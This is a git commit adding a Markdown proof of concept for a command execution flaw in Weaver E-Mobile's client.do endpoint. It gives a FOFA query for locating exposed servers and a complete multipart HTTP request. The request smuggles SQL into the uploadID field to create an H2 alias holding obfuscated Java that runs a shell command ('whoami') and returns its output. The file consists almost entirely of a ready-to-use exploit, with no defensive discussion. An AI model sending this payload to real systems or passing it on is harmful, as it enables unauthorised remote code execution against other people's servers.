Create 泛微E-Mobile-client.do存在命令执行漏洞.md
This commit is contained in:
parent
eda90746e1
commit
66ab49f8db
28
泛微E-Mobile-client.do存在命令执行漏洞.md
Normal file
28
泛微E-Mobile-client.do存在命令执行漏洞.md
Normal file
@ -0,0 +1,28 @@
|
||||
## 泛微E-Mobile-client.do存在命令执行漏洞
|
||||
|
||||
## fofa
|
||||
```
|
||||
"Weaver E-Mobile"
|
||||
```
|
||||
|
||||
## poc
|
||||
```
|
||||
POST /client.do HTTP/1.1
|
||||
Host:
|
||||
Accept-Encoding: gzip, deflate
|
||||
Accept: */*
|
||||
Accept-Language: en
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
|
||||
Connection: close
|
||||
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryTm8YXcJeyKDClbU7
|
||||
|
||||
------WebKitFormBoundaryTm8YXcJeyKDClbU7
|
||||
Content-Disposition: form-data; name="method"
|
||||
|
||||
getupload
|
||||
------WebKitFormBoundaryTm8YXcJeyKDClbU7
|
||||
Content-Disposition: form-data; name="uploadID"
|
||||
|
||||
1';CREATE ALIAS if not exists MzSNqKsZTagmf AS CONCAT('void e(String cmd) throws java.la','ng.Exception{','Object curren','tRequest = Thre','ad.currentT','hread().getConte','xtClass','Loader().loadC','lass("com.caucho.server.dispatch.ServletInvocation").getMet','hod("getContextRequest").inv','oke(null);java.la','ng.reflect.Field _responseF = currentRequest.getCl','ass().getSuperc','lass().getDeclar','edField("_response");_responseF.setAcce','ssible(true);Object response = _responseF.get(currentRequest);java.la','ng.reflect.Method getWriterM = response.getCl','ass().getMethod("getWriter");java.i','o.Writer writer = (java.i','o.Writer)getWriterM.inv','oke(response);java.ut','il.Scan','ner scan','ner = (new java.util.Scann','er(Runt','ime.getRunt','ime().ex','ec(cmd).getInput','Stream())).useDelimiter("\\A");writer.write(scan','ner.hasNext()?sca','nner.next():"");}');CALL MzSNqKsZTagmf('whoami');--
|
||||
------WebKitFormBoundaryTm8YXcJeyKDClbU7--
|
||||
```
|
||||
Loading…
x
Reference in New Issue
Block a user